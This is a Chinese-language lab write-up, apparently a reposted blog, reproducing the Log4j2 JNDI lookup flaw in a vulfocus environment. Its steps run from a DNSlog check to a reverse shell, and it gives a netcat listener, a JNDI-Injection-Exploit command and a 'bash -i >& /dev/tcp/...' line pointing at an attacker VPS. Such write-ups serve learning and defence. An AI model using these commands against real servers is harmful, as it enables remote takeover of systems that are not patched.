log4j2漏洞复现


参考链接

https://www.cnblogs.com/xuzhujack/p/15673703.html

https://blog.csdn.net/weixin_44309905/article/details/122316579

工具链接

http://www.dnslog.cn/

https://github.com/welk1n/JNDI-Injection-Exploit/releases

https://www.jackson-t.ca/runtime-exec-payloads.html

此次漏洞的出现,正是由用于 Log4j 2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。简单来说,就是在打印日志时,如果发现日志内容中包含关键词 ${,那么这个里面包含的内容会当做变量来进行替换,导致攻击者可以任意执行命令。详细漏洞披露可查看:https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3201?filter=allissues 。由于线上 web 业务的任何数据都可能写入 Log4j,甚至一些 pre-auth 的地方,比如注册、登录,实际攻击入口取决于业务具体情况。

vulfocus开一个环境

参数为payload

burp抓个包

构造一下payload先dnslog回显一下。

此时dnslog没有新增

将payload进行url编码后发送

dnslog有回显

JNDI注入反弹shell

vps监听本地端口2222 nc -lvp 2222

执行 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编码后的弹shell命令" -A "vpsip"

命令为 bash -i >& /dev/tcp/vpsip/nc监听端口 0>&1

一般选没有jdk版本的那个来构造payload

发送数据包过后 vps上是有显示的

而nc监听也是成功拿到了shell

直接查看tmp目录下的flag

又绿了一个

log4j2 漏洞的请求头的触发点环境,请求头 X-Api-Version字段


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM